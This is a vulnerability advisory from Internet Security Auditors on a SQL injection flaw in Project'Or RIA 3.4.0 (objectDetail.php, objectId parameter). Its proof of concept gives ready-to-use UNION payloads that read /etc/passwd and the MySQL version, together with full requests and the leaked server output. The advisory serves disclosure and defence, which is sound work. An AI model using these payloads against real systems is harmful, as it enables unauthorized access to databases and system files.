Project'Or RIA 3.4.0 - 'objectDetail.php objectId Parameter' SQL Injection

=============================================

INTERNET SECURITY AUDITORS ALERT 2013-017

- Original release date: July 26th, 2013

- Last revised:  July 26th, 2013

- Discovered by: Vicente Aguilera Diaz

- Severity: 6.8/10 (CVSSv2 Base Scored)

- CVE-ID: CVE-2013-6164

=============================================



I. VULNERABILITY

-------------------------

SQL Injection vulnerability in "Project'Or RIA" allow arbitrary access

to the database and the file system.





II. BACKGROUND

-------------------------

Project'Or RIA is an open source Project Management Software, trying to

gather in a single tool every functionality needed to organize your

projects.

The objective is to keep it simple, easy to use on a day to day

activity, while covering most of the project management functionalities.





III. DESCRIPTION

-------------------------

Has been detected a SQL Injection vulnerability in the "Affectations"

functionality of this application. The affected resource and parameter

are the



following:



Resource:

    /view/objectDetail.php



Parameter:

    objectId



This vulnerability allows the execution of arbitrary SQL code against

the database, and arbitrary access to the file system.





IV. PROOF OF CONCEPT

-------------------------

When a user access to the "Environmental parameters / Affectations"

functionality, is generated a output with a list of resources. If a user

access to the de



tails of a resource, is generated a request as follows:



    POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1

    Host: <projectorria-server>



    objectClass=Affectation&objectId=000042&listIdFilter=&listFilterClause=



where the "objectId" value contains the resource identifier.



A malicious user can inject arbitrary SQL code in the <objecId>

parameters of this request. For example:



1. Accessing the file system

1.1 /etc/passwd

Modified parameter:

     <objectId>



Value:

    

99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)



Request:



POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1

Host: <projectorria-server>



objectClass=Affectation&objectId=99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)



&listIdFilter=&listFilterClause=



Response:

HTTP/1.1 200 OK



...

<span dojoType="dijit.form.TextBox" type="text"   id="id" name="id" 

class="display"  readonly tabindex="-1" style="width: 75px;" 



value="root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

syslog:x:101:103::/home/syslog:/bin/false

whoopsie:x:102:104::/nonexistent:/bin/false

landscape:x:103:105::/var/lib/landscape:/bin/false

messagebus:x:104:108::/var/run/dbus:/bin/false

ntpd:x:105:111::/var/run/openntpd:/bin/false

postfix:x:106:113::/var/spool/postfix:/bin/false

babynus:x:1000:1000::/home/babynus:/bin/bash

bind:x:107:115::/var/cache/bind:/bin/false

sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin

zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false

mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false

nagios:x:111:118::/var/lib/nagios:/bin/false

smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false

smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false

postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

" ></span>

...



Obtained info (/etc/passw):

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

syslog:x:101:103::/home/syslog:/bin/false

whoopsie:x:102:104::/nonexistent:/bin/false

landscape:x:103:105::/var/lib/landscape:/bin/false

messagebus:x:104:108::/var/run/dbus:/bin/false

ntpd:x:105:111::/var/run/openntpd:/bin/false

postfix:x:106:113::/var/spool/postfix:/bin/false

babynus:x:1000:1000::/home/babynus:/bin/bash

bind:x:107:115::/var/cache/bind:/bin/false

sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin

zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false

mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false

nagios:x:111:118::/var/lib/nagios:/bin/false

smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false

smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false

postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash





2. Obtaining database private information

2.1 Obtaining TABLE_NAME from INFORMATION_sCHEMA.TABLES

Modified parameter:

     <objectId>



Value:

    

99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)



Request:



POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1

Host: <projectorria-server>



objectClass=Affectation&objectId=99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)



&listIdFilter=&listFilterClause=



Response:

HTTP/1.1 200 OK



<span dojoType="dijit.form.TextBox" type="text"   id="id" name="id" 

class="display"  readonly tabindex="-1" style="width: 75px;"  value="5.5.24-



0ubuntu0.12.04.1" >



Obtained info (MySQL Version):

5.5.24-0ubuntu0.12.04.1





V. BUSINESS IMPACT

-------------------------

An attacker can execute arbitrary SQL code and gain access to private

information stored in the database or the file system.

 



VI. SYSTEMS AFFECTED

-------------------------

Tested in Project'Or RIA v3.4.0

 



VII. SOLUTION

-------------------------

Pending.





VIII. REFERENCES

-------------------------

http://projectorria.org

http://www.isecauditors.com





IX. CREDITS

-------------------------

This vulnerability has been discovered by Vicente Aguilera Diaz

(vaguilera (at) isecauditors (dot) com).





X. REVISION HISTORY

-------------------------

July    26, 2013: Initial release





XI. DISCLOSURE TIMELINE

-------------------------

July      25, 2013: Vulnerability acquired by Internet Security Auditors

(www.isecauditors.com).

September 26, 2013: Sent to project support.

November  03, 2013: New release and disclosure.







XII. LEGAL NOTICES

-------------------------

The information contained within this advisory is supplied "as-is" with

no warranties or guarantees of fitness of use or otherwise. Internet

Security



Auditors accepts no responsibility for any damage caused by the use or

misuse of this information.





XIII. ABOUT

-------------------------

Internet Security Auditors is a Spain based leader in web application

testing, network security, penetration testing, security compliance

implementation and



assessing. Our clients include some of the largest companies in areas

such as finance, telecommunications, insurance, ITC, etc. We are vendor

independent



provider with a deep expertise since 2001. Our efforts in R&D include

vulnerability research, open security project collaboration and

whitepapers,



presentations and security events participation and promotion. For

further information regarding our security services, contact us.





XIV. FOLLOW US

-------------------------

You can follow Internet Security Auditors, news and security advisories at:

https://www.facebook.com/ISecAuditors

https://twitter.com/ISecAuditors

http://www.linkedin.com/company/internet-security-auditors

http://www.youtube.com/user/ISecAuditors